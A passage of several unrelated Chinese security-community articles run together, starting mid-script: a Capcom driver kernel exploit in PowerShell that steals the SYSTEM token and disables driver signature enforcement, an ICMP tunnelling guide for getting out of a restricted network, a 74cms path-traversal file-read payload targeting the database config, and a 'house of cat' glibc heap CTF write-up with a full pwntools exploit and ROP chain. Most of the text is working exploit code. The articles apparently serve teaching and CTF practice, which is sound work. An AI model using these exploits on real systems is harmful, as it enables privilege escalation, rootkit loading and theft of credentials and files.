$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.2' # Win8 / 2k12
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.1' # Win7 / 2k8R2
{
$UniqueProcessIdOffset = 0x180
$TokenOffset = 0x208
$ActiveProcessLinks = 0x188
}
}
# Get EPROCESS entry for System process
$SystemModuleArray = Get-LoadedModules
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\")[-1]
$KernelHanle = [Capcom]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [Capcom]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = $PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase
$CallResult = [Capcom]::FreeLibrary($KernelHanle)
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
Write-Output "`n[+] SYSTEM Token: 0x$("{0:X}" -f $SysToken)"
# Get EPROCESS entry for PID
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
if ($NextPID -eq $ProcPID) {
$TargetTokenAddr = $NextProcess+$TokenOffset
Write-Output "[+] Found PID: $NextPID"
Write-Output "[+] PID token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
break
}
$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}
# Duplicate token!
Write-Output "[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $TargetTokenAddr -Value $SysToken
}
**绕过强制驱动签名**
我建议你看下@j00ru的关于强制驱动签名的[write-up](http://j00ru.vexillium.org/?p=377)。结果证明Windows上的代码完整性有一个独立的二进制（ci.dll，%WINDIR%System32）管理。在Windows
8之前，CI导出了一个全局的boolean变量g_CiEnabled，完美的表示签名是否启动。在Windows
8之后，g_CiEnabled被另一个全局变量（g_CiOptions）代替，其是一个标志的组合（最重要的是0x0=禁用，0x6=启用，0x8=测试模式）。
由于Δt free-time限制，这个模块只针对Win8+中使用的g_CiOptions。然而，类似的方法可以用于g_CiEnabled（欢迎GitHub
pull
请求）。基本上，我们将使用和Derusbi恶意软件的作者一样的技术。因为g_CiOptions没有导出，我们不得不在patch这个值时做些动态计算。如果我们反编译CI!CiInitialize，我们能看见g_CiOptions的指针。
与我们之前做的类似，我们能在CI!CiInitialize中泄漏地址，而不是用任何漏洞。
目前只实现了一些逻辑，使用我们的bitmap原语来读取字节，以寻找第一个“jmp”（0xE9），和第一个“mov dword ptr[xxxxx],
ecx”（0x890D）。一旦我们有了g_CiOptions的地址，我们能设置我们想要的任何值。Powershell函数如下。
function Capcom-DriverSigning {
param ([Int]$SetValue)
# Check our bitmaps have been staged into memory
if (!$ManagerBitmap -Or !$WorkerBitmap) {
Capcom-StageGDI
if ($DriverNotLoaded -eq $true) {
Return
}
}
# Leak CI base => $SystemModuleCI.ImageBase
$SystemModuleCI = Get-LoadedModules |Where-Object {$_.ImageName -Like "*CI.dll"}
# We need DONT_RESOLVE_DLL_REFERENCES for CI LoadLibraryEx
$CIHanle = [Capcom]::LoadLibraryEx("ci.dll", [IntPtr]::Zero, 0x1)
$CiInitialize = [Capcom]::GetProcAddress($CIHanle, "CiInitialize")
# Calculate => CI!CiInitialize
$CiInitializePtr = $CiInitialize.ToInt64() - $CIHanle + $SystemModuleCI.ImageBase
Write-Output "`n[+] CI!CiInitialize: $('{0:X}' -f $CiInitializePtr)"
# Free CI handle
$CallResult = [Capcom]::FreeLibrary($CIHanle)
# Calculate => CipInitialize
# jmp CI!CipInitialize
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CiInitializePtr + $i))) -split '(..)' | ? { $_ }
# Look for the first jmp instruction
if ($val[-1] -eq "E9") {
$Distance = [Int]"0x$(($val[-3,-2]) -join '')"
$CipInitialize = $Distance + 5 + $CiInitializePtr + $i
Write-Output "[+] CI!CipInitialize: $('{0:X}' -f $CipInitialize)"
break
}
}
# Calculate => g_CiOptions
# mov dword ptr [CI!g_CiOptions],ecx
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CipInitialize + $i))) -split '(..)' | ? { $_ }
# Look for the first jmp instruction
if ($val[-1] -eq "89" -And $val[-2] -eq "0D") {
$Distance = [Int]"0x$(($val[-6..-3]) -join '')"
$g_CiOptions = $Distance + 6 + $CipInitialize + $i
Write-Output "[+] CI!g_CiOptions: $('{0:X}' -f $g_CiOptions)"
break
}
}
# print g_CiOptions
Write-Output "[+] Current CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"
if ($SetValue) {
Bitmap-Write -Address $g_CiOptions -Value $SetValue
# print new g_CiOptions
Write-Output "[!] New CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"
}
}
截图如下，当前的g_CiOptions值是0x6（驱动签名启动了），且阻止了我们加载evil.sys。
在覆写这个值后，我们能成功加载我们的未签名的驱动。
不过g_CiOptions被PatchGuard保护，意味着如果这个值改变了，Windows将蓝屏（CRITICAL_STRUCTURE_CORRUPTION）。然而这个不太可能发生，当测试时我不得不等待了一个小时才等到PatchGuard触发。如果你加载了未签名的驱动，且恢复了这个值，PatchGuard将不会意识到。我的深度防御的建议是在驱动加载时触发CI的PatchGuard检查，尽管这个也不能阻止攻击者反射加载驱动，但会提高门槛。
**0x04 想法**
第三方，签名的驱动对Windows内核构成了严重威胁，我确信这个例子已经说明了这种情况。我也发现实现简单的内核subversion比想象中容易，尤其是与PatchGuard有关的。总的来说，我认为最明智的做法是组织使用驱动白名单来部署设备保护，以便消除这种类型的攻击。
[Capcom-Rootkit](https://github.com/FuzzySecurity/Capcom-Rootkit)在GitHub中提供，用于教育/测试的目的，不要做坏事。 | 社区文章 |
很老的东西了，感觉还是有点用处，大家看看就好。用的时候别忘记了。
<http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz>
这个是源码。
下面附件有编译好的windows版本。 其实就是用的cygwin而已。
下面描述场景。
内网有一台win，连不上外网，但是能ping通。
现在通过ICMP进行穿透。
在外网的一台linux或者win的机器上，运行ptunnel 啥参数也不用加，OK，这个server段就起来了。
在win上安装winpcap。运行ptunnel -h
看一下自己的网卡信息。
然后开始穿透。
ptunnel.exe -p VPS _IP -lp 888 -da 127.0.0.1 -dp 22 -c "\Device\NPF_
{1EB81540-24xxxxx2120F780}"
结果是，内网机器直接访问本机的888端口，就是访问VPS的22端口啦。
参考场景：
VPS上开启SOCKS5代理服务，OK，内网可以直接通过代理访问外网。 | 社区文章 |
### 0x00 前言
厂商：74cms
下载地址：<http://www.74cms.com/download/index.html>
关于版本：
新版的74cms采用了tp3.2.3重构了，所以可知底层是tp，74cms新版升级是后台升级的，所以先将将升级方法。
注：此漏洞不用升级至最新版本也可使用。
### 0x01 74cms升级到最新版
1， 先去官网下载 骑士人才系统基础版(安装包)
2， 将下载好的包进行安装
3， 进入后台点击查看如果不是最新版的话，请点击升级！
5， 如果是本地环境的话，会提示 域名不合法升级失败，这个问题很好解决
6， 搜索文件74cms\upload\Application\Admin\Controller\ApplyController.class.php
7， 查找所有$_SERVER['HTTP_HOST'] 改为 <http://baidu.com> 即可
### 0x02 任意文件读取漏洞演示
url: http://74cms.test/index.php?m=Home&c=Members&a=register
post:
reg_type=2&utype=2&org=bind&ucenter=bind
cookie: members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php;members_bind_info[type]=qq;members_uc_info[password]=123456;members_uc_info[uid]=1;members_uc_info[username]=tttttt;
headers:
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
1. 问题一：漏洞原理？
我下面会讲
2. 问题二：你如何知道文件名称的？
我下面会讲
3. 问题三：能不能写个简单的工具，自动利用此漏洞？
哦，好的，我下面会提供 : )
### 0x03 漏洞讲解
打开文件：74cms\upload\Application\Home\Controller\MembersController.class.php
函数：_save_avatar($avatar, $uid)
如果不想看图片注释的话，我这里简单的说一下。
812行使用$avatar拼接形成$path
830行使用了$save_avatar+$savePicName; 生成了$filename
838行，使用了copy函数，把$path文件内容复制到了$filename中。
而 $avatar 和 $uid 都是我们刚好可以控制的变量
并且生成的文件名称是$uid+time() 然后md5 一下 拼接 .jpg
这个情况就很舒服了。写个小工具跑一下就好了，小工具会在结尾的时候放出来的。
好了，让我们继续看下去 : )
我们现在既然已经知道了_save_avatar 函数是有可能造成此漏洞的那么这时，我们就需要去找调用它的地方了。
经过一顿的搜索我们得出了两个地方是调用了他
地方一：register() 方法 会员注册方法
地方二：oauth_reg() 方法 第三方登录注册方法
论此漏洞的利用当然是register() 方法利用起来比较简单 因为 方法二 需要搭建第三方登录，我本地的话。。。还是算了，这里掩饰我使用 方法一
打开文件：74cms\upload\Application\Home\Controller\MembersController.class.php
函数：register()
上面的马赛克是因为我写错了几个字，又不想重新写，所以我就把他擦掉了。
皮这一下，我就很开心
这里我们讲解一下如果 post的变量ucenter为bind时，则通过cookie获取数组$uc_user
接着会进行数组合并而members_uc_info的cookie值是可控的，所以$data也是可控的。
这里写着 当 $data[utype] = 1 会进行用户注册，而$data[utype]是我们可以控制的所以我们为2绕过此判断
这里我又跳过了前面一些无关紧要的内容，来到了最后的漏洞触发点。因为真的无关紧要,所以就跳过了
### 0x04 漏洞利用小工具
请下载附件：74cms_file_read.zip | 社区文章 |
#### **适用版本：**
> glibc 2.23 -- 至今
#### **利用条件:**
> * 可以进行一次任意地址写堆地址
> * 可以触发 IO 流操作
>
#### 攻击方法：
> * 劫持stderr指针为我们构造的fake_IO_FILE（伪造好stderr和_wide_data结构体）
> * 触发 IO 流操作
>
#### 源码分析：
触发`__malloc_assert`后会有这样一条调用链：
`__malloc_assert -> __fxprintf -> __vfxprintf->locked_vfxprintf ->
__vfprintf_internal -> _IO_file_xsputn`
其中`_IO_file_xsputn`是通过`vtable`
处的指针来调用，且在`_IO_file_jumps`中`_IO_file_xsputn`函数和`_IO_wfile_seekoff`相差0x10大小
我们通过劫持 `_IO_2_1_stderr` 结构体，并将 `vtable`
处的指针改为`_IO_wfile_seekoff`，来执行我们想要的链：
`_IO_wfile_seekoff -> _IO_switch_to_wget_mode`->`_IO_WOVERFLOW`
//_IO_wfile_seekoff函数源码
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
if (mode == 0)
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}
通过 `_IO_wfile_seekoff` 函数来触发 `_IO_switch_to_wget_mode` 函数，进而执行
`_IO_switch_to_wget_mode` 函数再触发宏调用函数`_IO_WOVERFLOW`
//_IO_switch_to_wget_mode 函数源码
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}
若满足 `fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base`
这个条件，`_IO_WOVERFLOW` 函数会通过跳转到`_wide_vtable` 中的函数指针
我们可以通过控制`_wide_vtable`处的指针，来劫持程序的执行流
若未开沙箱，则可直接劫持`_wide_vtable`为one_gadget
若execve函数被禁，则可通过magic_gadget和leave_ret构造栈迁移，来完全控制程序流执行rop链，详细可以在[CTF 中
glibc堆利用 及 IO_FILE
总结](https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_32) 学习
> magic_gadget：
>
> <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
>
> <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
>
> <svcudp_reply+34>: lea r13,[rbp+0x10]
>
> <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
>
> <svcudp_reply+45>: mov rdi,r13
>
> <svcudp_reply+48>: call QWORD PTR [rax+0x28]
#### 例题2022挑战杯 house of cat
保护全开，开了沙箱
##### 程序分析：
限制申请大小 0x418-0x46f，限制修改次数两次并只能修改0x30字节
存在UAF漏洞，限制泄露数据最大大小为0x30字节
题目除了前面的加密，本身算是一道标准的菜单题，不过我们主要是要分析这道题里house of cat手法如何利用，前面需要逆向的部分不再赘述
由于开了沙箱的缘故，我们需要构造orw来读取flag。此外，送入orw前还需要构造close(0)，将标准输入关闭掉，这样再次read的时候flag文件描述符就将是0，则可以正常read
flag文件
##### 利用详解：
> * **首先是泄露libc地址和heap地址**
> * **伪造好stderr和_wide_data结构体**
> * **largebin attack攻击stderr指针**
> * **修改top_chunk大小并触发IO调用**
> * **进入 house of cat 的调用链，通过_wide_data- >vtable跳转到提前布置好的地址进行栈迁移**
> * **栈迁移后便已完全控制程序流，跳转执行rop链**
>
首先看一下我们要伪造的两个结构体stderr和_IO_wide_data伪造前的样子
**stderr**
p *(struct _IO_FILE_plus*) stderr
pwndbg> p _IO_2_1_stderr_
$1 = {
file = {
_flags = -72540025,
_IO_read_ptr = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7ff44001a724 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ff44001a780 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ff44001ba60 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ff4400198a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ff440016600 <_IO_file_jumps>
}
**_IO_wide_data**
p *(struct _IO_wide_data*) 0x555555554000
#0x555555554000为heap基地址
pwndbg> p *(struct _IO_wide_data*) 0x558944aed000
$2 = {
_IO_read_ptr = 0x10102464c457f <error: Cannot access memory at address 0x10102464c457f>,
_IO_read_end = 0x0,
_IO_read_base = 0x1003e0003 <error: Cannot access memory at address 0x1003e0003>,
_IO_write_base = 0x11f0 <error: Cannot access memory at address 0x11f0>,
_IO_write_ptr = 0x40 <error: Cannot access memory at address 0x40>,
_IO_write_end = 0x3148 <error: Cannot access memory at address 0x3148>,
_IO_buf_base = 0x38004000000000 <error: Cannot access memory at address 0x38004000000000>,
_IO_buf_end = 0x1c001d0040000d <error: Cannot access memory at address 0x1c001d0040000d>,
_IO_save_base = 0x400000006 <error: Cannot access memory at address 0x400000006>,
_IO_backup_base = 0x40 <error: Cannot access memory at address 0x40>,
_IO_save_end = 0x40 <error: Cannot access memory at address 0x40>,
_IO_state = {
__count = 64,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 728,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x2d8,
step_data = {
__outbuf = 0x8 <error: Cannot access memory at address 0x8>,
__outbufend = 0x400000003 <error: Cannot access memory at address 0x400000003>,
__flags = 792,
__invocation_counter = 0,
__internal_use = 792,
__statep = 0x318,
__state = {
__count = 28,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x1c,
step_data = {
__outbuf = 0x1 <error: Cannot access memory at address 0x1>,
__outbufend = 0x400000001 <error: Cannot access memory at address 0x400000001>,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 2512,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"\x9d0",
_wide_vtable = 0x1000
}
##### 获取libc基址和heap基址
add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:\n')
libc_base=l64()-0x21a0e0#-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290
li('heap_base = '+hex(heap_base))
##### largebin attack攻击stderr指针
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(heap_base+0x1180+0x30)
#_IO_save_base -- _IO_2_1_stderr_+72
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(heap_base+0x10a0)
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#fake_file+=
add(0,0x428,fake_file)
pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20)
edit(0,pl)
#main_arena+1104 main_arena+1104
#IO_list_all stderr-0x20
delete(1) #ub
add(3,0x440,b'c') #attack
##### 修改top_chunk大小并触发IO调用
add(4,0x418,b'd') #r chunk1
>
>
>
> freed
>
> chunk 15
>
> chunk 4
>
> chunk 2
>
> chunk 3
pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20)
edit(3,pl)
#chunk9+0x30 main_arena+1120
#chunk9+0x30 &TopChunk_Size+3 -0x20
delete(8) #ub
delete(14)
add(10,0x450,b'a') #attack
##### 模板详解：
###### part 1
#print('==============================================part 1
chunk0 = heap_base+0xfc0
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(chunk0+0x1c0+0x30)
#_IO_save_base -- _IO_2_1_stderr_+72
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(chunk0+0xe0) #wide_data start
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#vtable
fake_file+=wide_data
构造后的stderr，我们将_IO_save_base改为chunk0+0x1c0+0x30
将_wide_data地址改为我们送入chunk0中的payload中wide_data这部分的地址，以进行_wide_data结构体的构造
pwndbg> p *stderr
$3 = {
_flags = 0,
_IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,
_IO_read_end = 0x7f0cbec1a0d0 <main_arena+1104> "\300\240\301\276\f\177",
_IO_read_base = 0x7f0cbec1a0d0 <main_arena+1104> "\300\240\301\276\f\177",
_IO_write_base = 0x7f0cbec1a680 <_IO_list_all> "\240\246\301\276\f\177",
_IO_write_ptr = 0x7f0cbec1a840 <_IO_2_1_stdout_+192> "",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x559ea0e1c1b0 <incomplete sequence \336>,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7f0cbec1ba60 <_IO_stdfile_2_lock>,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x559ea0e1c0a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}
###### part 2
#print('==============================================part 2
wide_data=p64(0)*4+p64(1) #_IO_write_ptr
wide_data+=p64(0)*20
wide_data+=b'flag\x00\x00\x00\x00' #_statep #flag_addr
wide_data+=p64(0)*2
wide_data+=p64(heap_base+0x1170) #wide_data+=p64(0)*2 1
wide_data+=pivot
看下面我们构造后的_IO_wide_data
_wide_vtable被我们修改为了chunk0+0x1b0
这里的0x000055f6c4a410a0就是我们送入chunk0中的payload中的wide_data这部分的地址（chunk0+0xe0）
pwndbg> p *(struct _IO_wide_data*) 0x000055f6c4a410a0
$4 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x67616c66,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x55f6c4a41170
}
stderr中储存的chunk0的值会作为rdi送入_IO_wfile_seekoff和_IO_switch_to_wget_mode
经过一系列赋值后，我们会执行到chunk0+0xa0+0xe0+0x18地址处，即我们的magic_gadget处
执行 _IO_WOVERFLOW劫持程序流到magic_gadget
###### part 3
#print('==============================================part 3
pivot=p64(magic_gadget) #call rdi+0x88
pivot+=p64(0)*4
pivot+=p64(0xdeadbeef)
pivot+=p64(add_rsp_ret)
pivot+=p64(0xdeadbeef)
pivot+=p64(heap_base+0x1178+0x30) #pivot+=p64(0)*4 4
pivot+=p64(leave_ret)
pivot+=rop
我们将rbp赋值为chunk0+0x48（-->chunk0+0x1b0）
而下面会执行到chunk0+0x48 +0x18 + 0x28地址处（即leave_ret处）
栈迁移
自此，我们完全控制了程序流
###### part 4
#print('==============================================part 4
#close(0)
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open('flag',0)
flag_addr=heap_base+0x1168
rop+=p64(pop_rdi)
rop+=p64(flag_addr)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
#read(0,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
#write(1,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)
要注意的一点是由于我们part3的构造，所以我们还要进行add rsp,0x18的调整以执行到rop
成功获取flag
##### 触发流程：
> calloc
>
>
>
> _int_malloc
>
>
>
> sysmalloc
>
>
>
> __malloc_assert
>
>
>
> __fxprintf
>
>
>
> locked_vfxprintf
>
>
>
> __vfprintf_internal
>
>
>
> _IO_wfile_seekoff
>
>
>
> _IO_switch_to_wget_mode
>
>
>
> magic_gadget
>
>
>
> leave_ret
>
>
>
> rop
##### 完整exp：
from pwn import *
p=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'
s = lambda data :p.send(data)
sa = lambda x, y :p.sendafter(x, y)
sl = lambda data :p.sendline(data)
sla = lambda x, y :p.sendlineafter(x, y)
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
def add(idx,size,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(idx))
sla('plz input your cat size:\n',str(size))
sa('plz input your content:\n',cont)
def delete(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(2))
sla('plz input your cat idx:\n',str(idx))
def show(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(3))
sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(4))
sla('plz input your cat idx:\n',str(idx))
sa('plz input your content:\n', cont)
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:\n')
libc_base=l64()-0x21a0e0#-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290
li('heap_base = '+hex(heap_base))
IO_list_all = libc_base+0x21a680
magic_gadget = libc_base+0x16a1fa
'''
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
'''
IO_2_1_stderr = libc_base+0x21a6a0 #_IO_2_1_stderr
stderr = libc_base+0x21a860
IO_wfile_jumps = libc_base+0x2160c0
lock=libc_base+0x21ba60 #_lock
add_rsp_ret=libc_base+0x000000000003a889
leave_ret=libc_base+0x00000000000562ec
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0
syscall=libc_base+0xea5b9
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']
add(11,0x450,b'm')
#print('==============================================part 4
#close(0)
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open('flag',0)
flag_addr=heap_base+0x1168
rop+=p64(pop_rdi)
rop+=p64(flag_addr)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
#read(0,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
#write(1,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)
#print('==============================================part 3
pivot=p64(magic_gadget) #call rdi+0x88
pivot+=p64(0)*4
pivot+=p64(0xdeadbeef)
pivot+=p64(add_rsp_ret)
pivot+=p64(0xdeadbeef)
pivot+=p64(heap_base+0x1178+0x30) #pivot+=p64(0)*4 4
pivot+=p64(leave_ret)
pivot+=rop
#print('==============================================part 2
wide_data=p64(0)*4+p64(1) #_IO_write_ptr
wide_data+=p64(0)*20
wide_data+=b'flag\x00\x00\x00\x00' #_statep #flag_addr
wide_data+=p64(0)*2
wide_data+=p64(heap_base+0x1170) #wide_data+=p64(0)*2 1
wide_data+=pivot
#print('==============================================part 1
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(heap_base+0xfc0+0x1c0+0x30) #chunk0+0x1c0 -> chunk0+0x1b0
#_IO_save_base
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(heap_base+0x10a0) #wide_data
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#vtable --> _IO_wfile_seekoff
fake_file+=wide_data
add(0,0x428,fake_file)
add(15,0x460,'prevent merge chunk')
add(1,0x418,b'a')
delete(0) #ub
add(2,0x460,b'b') #chunk0 -> largebin
pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20)
edit(0,pl)
#main_arena+1104 main_arena+1104
